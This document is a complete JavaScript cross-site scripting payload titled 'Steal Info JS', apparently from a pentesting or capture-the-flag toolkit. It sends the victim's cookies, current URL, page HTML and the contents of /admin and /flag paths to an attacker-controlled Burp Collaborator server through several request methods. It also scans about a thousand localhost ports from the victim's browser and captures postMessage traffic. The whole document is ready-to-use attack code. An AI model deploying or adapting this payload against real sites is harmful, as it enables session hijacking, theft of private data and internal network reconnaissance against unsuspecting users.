Steal Info JS

Steal Info JS

// SELECT HERE THE EXFILTRATION MODE (more than 1 can be selected)
// If any GET method is selected (like location or RQ_GET), it's recommended to exfiltrate each info 1 by 1
var ATTACKER_SERVER =
  "https://weecosb5a2k7jc0cwlyksg9qzh57tw.burpcollaborator.net"
var EXFIL_BY_IMG = false
var EXFIL_BY_RQ_GET = false
var EXFIL_BY_RQ_POST = true
var EXFIL_BY_FETCH_GET = false
var EXFIL_BY_FETCH_POST = false
var EXFIL_BY_NAV = false

var EXFIL_BY_LOC = false
var ALL_INFO = "" // Only used by Location exfiltration

// Function to make the data possible to transmit via either GET or POST
function encode(text) {
  return encodeURI(btoa(text))
}

// Functions to exfiltrate the information
function exfil_info(info_name, text, is_final = false) {
  if (EXFIL_BY_IMG) exfil_by_img(info_name, text)
  if (EXFIL_BY_RQ_GET) exfil_by_rq_get(info_name, text)
  if (EXFIL_BY_RQ_POST) exfil_by_rq_post(info_name, text)
  if (EXFIL_BY_FETCH_GET) exfil_by_fetch_get(info_name, text)
  if (EXFIL_BY_FETCH_POST) exfil_by_fetch_post(info_name, text)
  if (EXFIL_BY_NAV) exfil_by_nav(info_name, text)
  if (EXFIL_BY_LOC) {
    if (is_final) exfil_by_loc(info_name, text)
    else ALL_INFO += "\n\n" + info_name + "=" + text
  }
}

function exfil_by_img(info_name, text) {
  new Image().src =
    ATTACKER_SERVER +
    "/exfil_by_img/" +
    info_name +
    "?" +
    info_name +
    "=" +
    text
}

function exfil_by_rq_get(info_name, text) {
  var xhttp = new XMLHttpRequest()
  xhttp.open(
    "GET",
    ATTACKER_SERVER +
      "/exfil_by_rq_get/" +
      info_name +
      "?" +
      info_name +
      "=" +
      text,
    true
  )
  xhttp.send()
}

function exfil_by_rq_post(info_name, text) {
  var xhttp = new XMLHttpRequest()
  xhttp.open("POST", ATTACKER_SERVER + "/exfil_by_rq_post/" + info_name, true)
  xhttp.send(text)
}

function exfil_by_fetch_get(info_name, text) {
  fetch(
    ATTACKER_SERVER +
      "/exfil_by_fetch_get/" +
      info_name +
      "?" +
      info_name +
      "=" +
      text,
    { method: "GET", mode: "no-cors" }
  )
}

function exfil_by_fetch_post(info_name, text) {
  fetch(ATTACKER_SERVER + "/exfil_by_fetch_post/" + info_name, {
    method: "POST",
    mode: "no-cors",
    body: text,
  })
}

function exfil_by_nav(info_name, text) {
  navigator.sendBeacon(ATTACKER_SERVER + "/exfil_by_nav/" + info_name, text)
}

function exfil_by_loc(info_name, text) {
  document.location = ATTACKER_SERVER + "/exfil_by_loc/?a=" + encode(ALL_INFO)
}

// Functions to get the data to exfiltrate
function exfil_page_content(url) {
  var xhr = new XMLHttpRequest()
  xhr.onreadystatechange = function () {
    if (xhr.readyState == XMLHttpRequest.DONE) {
      exfil_info(url, encode(xhr.responseText))
    }
  }
  xhr.open("GET", url, true)
  xhr.send(null)
}

function exfil_internal_port(port) {
  fetch("http://127.0.0.1:" + port + "/", { mode: "no-cors" }).then(() => {
    exfil_info("internal_port", encode(port))
  })
}

// Info to exfiltrate
exfil_info("cookies", encode(document.cookie))
exfil_info("current_url", encode(document.URL))
exfil_info("current_content", encode(document.documentElement.innerHTML))
exfil_page_content("/")
exfil_page_content("/admin") // If 404 nothing will be sent
exfil_page_content("/flag")
exfil_page_content("/flag.txt")

top_1000 = [
  1, 3, 4, 6, 7, 9, 13, 17, 19, 20, 21, 22, 23, 24, 25, 26, 30, 32, 33, 37, 42,
  43, 49, 53, 70, 79, 80, 81, 82, 83, 84, 85, 88, 89, 90, 99, 100, 106, 109,
  110, 111, 113, 119, 125, 135, 139, 143, 144, 146, 161, 163, 179, 199, 211,
  212, 222, 254, 255, 256, 259, 264, 280, 301, 306, 311, 340, 366, 389, 406,
  407, 416, 417, 425, 427, 443, 444, 445, 458, 464, 465, 481, 497, 500, 512,
  513, 514, 515, 524, 541, 543, 544, 545, 548, 554, 555, 563, 587, 593, 616,
  617, 625, 631, 636, 646, 648, 666, 667, 668, 683, 687, 691, 700, 705, 711,
  714, 720, 722, 726, 749, 765, 777, 783, 787, 800, 801, 808, 843, 873, 880,
  888, 898, 900, 901, 902, 903, 911, 912, 981, 987, 990, 992, 993, 995, 999,
  1000, 1001, 1002, 1007, 1009, 1010, 1011, 1021, 1022, 1023, 1024, 1025, 1026,
  1027, 1028, 1029, 1030, 1031, 1032, 1033, 1034, 1035, 1036, 1037, 1038, 1039,
  1040, 1041, 1042, 1043, 1044, 1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052,
  1053, 1054, 1055, 1056, 1057, 1058, 1059, 1060, 1061, 1062, 1063, 1064, 1065,
  1066, 1067, 1068, 1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076, 1077, 1078,
  1079, 1080, 1081, 1082, 1083, 1084, 1085, 1086, 1087, 1088, 1089, 1090, 1091,
  1092, 1093, 1094, 1095, 1096, 1097, 1098, 1099, 1100, 1102, 1104, 1105, 1106,
  1107, 1108, 1110, 1111, 1112, 1113, 1114, 1117, 1119, 1121, 1122, 1123, 1124,
  1126, 1130, 1131, 1132, 1137, 1138, 1141, 1145, 1147, 1148, 1149, 1151, 1152,
  1154, 1163, 1164, 1165, 1166, 1169, 1174, 1175, 1183, 1185, 1186, 1187, 1192,
  1198, 1199, 1201, 1213, 1216, 1217, 1218, 1233, 1234, 1236, 1244, 1247, 1248,
  1259, 1271, 1272, 1277, 1287, 1296, 1300, 1301, 1309, 1310, 1311, 1322, 1328,
  1334, 1352, 1417, 1433, 1434, 1443, 1455, 1461, 1494, 1500, 1501, 1503, 1521,
  1524, 1533, 1556, 1580, 1583, 1594, 1600, 1641, 1658, 1666, 1687, 1688, 1700,
  1717, 1718, 1719, 1720, 1721, 1723, 1755, 1761, 1782, 1783, 1801, 1805, 1812,
  1839, 1840, 1862, 1863, 1864, 1875, 1900, 1914, 1935, 1947, 1971, 1972, 1974,
  1984, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009,
  2010, 2013, 2020, 2021, 2022, 2030, 2033, 2034, 2035, 2038, 2040, 2041, 2042,
  2043, 2045, 2046, 2047, 2048, 2049, 2065, 2068, 2099, 2100, 2103, 2105, 2106,
  2107, 2111, 2119, 2121, 2126, 2135, 2144, 2160, 2161, 2170, 2179, 2190, 2191,
  2196, 2200, 2222, 2251, 2260, 2288, 2301, 2323, 2366, 2381, 2382, 2383, 2393,
  2394, 2399, 2401, 2492, 2500, 2522, 2525, 2557, 2601, 2602, 2604, 2605, 2607,
  2608, 2638, 2701, 2702, 2710, 2717, 2718, 2725, 2800, 2809, 2811, 2869, 2875,
  2909, 2910, 2920, 2967, 2968, 2998, 3000, 3001, 3003, 3005, 3006, 3007, 3011,
  3013, 3017, 3030, 3031, 3052, 3071, 3077, 3128, 3168, 3211, 3221, 3260, 3261,
  3268, 3269, 3283, 3300, 3301, 3306, 3322, 3323, 3324, 3325, 3333, 3351, 3367,
  3369, 3370, 3371, 3372, 3389, 3390, 3404, 3476, 3493, 3517, 3527, 3546, 3551,
  3580, 3659, 3689, 3690, 3703, 3737, 3766, 3784, 3800, 3801, 3809, 3814, 3826,
  3827, 3828, 3851, 3869, 3871, 3878, 3880, 3889, 3905, 3914, 3918, 3920, 3945,
  3971, 3986, 3995, 3998, 4000, 4001, 4002, 4003, 4004, 4005, 4006, 4045, 4111,
  4125, 4126, 4129, 4224, 4242, 4279, 4321, 4343, 4443, 4444, 4445, 4446, 4449,
  4550, 4567, 4662, 4848, 4899, 4900, 4998, 5000, 5001, 5002, 5003, 5004, 5009,
  5030, 5033, 5050, 5051, 5054, 5060, 5061, 5080, 5087, 5100, 5101, 5102, 5120,
  5190, 5200, 5214, 5221, 5222, 5225, 5226, 5269, 5280, 5298, 5357, 5405, 5414,
  5431, 5432, 5440, 5500, 5510, 5544, 5550, 5555, 5560, 5566, 5631, 5633, 5666,
  5678, 5679, 5718, 5730, 5800, 5801, 5802, 5810, 5811, 5815, 5822, 5825, 5850,
  5859, 5862, 5877, 5900, 5901, 5902, 5903, 5904, 5906, 5907, 5910, 5911, 5915,
  5922, 5925, 5950, 5952, 5959, 5960, 5961, 5962, 5963, 5987, 5988, 5989, 5998,
  5999, 6000, 6001, 6002, 6003, 6004, 6005, 6006, 6007, 6009, 6025, 6059, 6100,
  6101, 6106, 6112, 6123, 6129, 6156, 6346, 6389, 6502, 6510, 6543, 6547, 6565,
  6566, 6567, 6580, 6646, 6666, 6667, 6668, 6669, 6689, 6692, 6699, 6779, 6788,
  6789, 6792, 6839, 6881, 6901, 6969, 7000, 7001, 7002, 7004, 7007, 7019, 7025,
  7070, 7100, 7103, 7106, 7200, 7201, 7402, 7435, 7443, 7496, 7512, 7625, 7627,
  7676, 7741, 7777, 7778, 7800, 7911, 7920, 7921, 7937, 7938, 7999, 8000, 8001,
  8002, 8007, 8008, 8009, 8010, 8011, 8021, 8022, 8031, 8042, 8045, 8080, 8081,
  8082, 8083, 8084, 8085, 8086, 8087, 8088, 8089, 8090, 8093, 8099, 8100, 8180,
  8181, 8192, 8193, 8194, 8200, 8222, 8254, 8290, 8291, 8292, 8300, 8333, 8383,
  8400, 8402, 8443, 8500, 8600, 8649, 8651, 8652, 8654, 8701, 8800, 8873, 8888,
  8899, 8994, 9000, 9001, 9002, 9003, 9009, 9010, 9011, 9040, 9050, 9071, 9080,
  9081, 9090, 9091, 9099, 9100, 9101, 9102, 9103, 9110, 9111, 9200, 9207, 9220,
  9290, 9415, 9418, 9485, 9500, 9502, 9503, 9535, 9575, 9593, 9594, 9595, 9618,
  9666, 9876, 9877, 9878, 9898, 9900, 9917, 9929, 9943, 9944, 9968, 9998, 9999,
  10000, 10001, 10002, 10003, 10004, 10009, 10010, 10012, 10024, 10025, 10082,
  10180, 10215, 10243, 10566, 10616, 10617, 10621, 10626, 10628, 10629, 10778,
  11110, 11111, 11967, 12000, 12174, 12265, 12345, 13456, 13722, 13782, 13783,
  14000, 14238, 14441, 14442, 15000, 15002, 15003, 15004, 15660, 15742, 16000,
  16001, 16012, 16016, 16018, 16080, 16113, 16992, 16993, 17877, 17988, 18040,
  18101, 18988, 19101, 19283, 19315, 19350, 19780, 19801, 19842, 20000, 20005,
  20031, 20221, 20222, 20828, 21571, 22939, 23502, 24444, 24800, 25734, 25735,
  26214, 27000, 27352, 27353, 27355, 27356, 27715, 28201, 30000, 30718, 30951,
  31038, 31337, 32768, 32769, 32770, 32771, 32772, 32773, 32774, 32775, 32776,
  32777, 32778, 32779, 32780, 32781, 32782, 32783, 32784, 32785, 33354, 33899,
  34571, 34572, 34573, 35500, 38292, 40193, 40911, 41511, 42510, 44176, 44442,
  44443, 44501, 45100, 48080, 49152, 49153, 49154, 49155, 49156, 49157, 49158,
  49159, 49160, 49161, 49163, 49165, 49167, 49175, 49176, 49400, 49999, 50000,
  50001, 50002, 50003, 50006, 50300, 50389, 50500, 50636, 50800, 51103, 51493,
  52673, 52822, 52848, 52869, 54045, 54328, 55055, 55056, 55555, 55600, 56737,
  56738, 57294, 57797, 58080, 60020, 60443, 61532, 61900, 62078, 63331, 64623,
  64680, 65000, 65129, 65389,
]
top_1000.forEach((port) => exfil_internal_port(port))

if (EXFIL_BY_LOC) {
  setTimeout(exfil_info("finish", "finish", true), 5000) // exfiltrate by location after 5s
}

// Sniff info
window.onmessage = function (e) {
  exfil_info("onmessage", encode(e.data))
}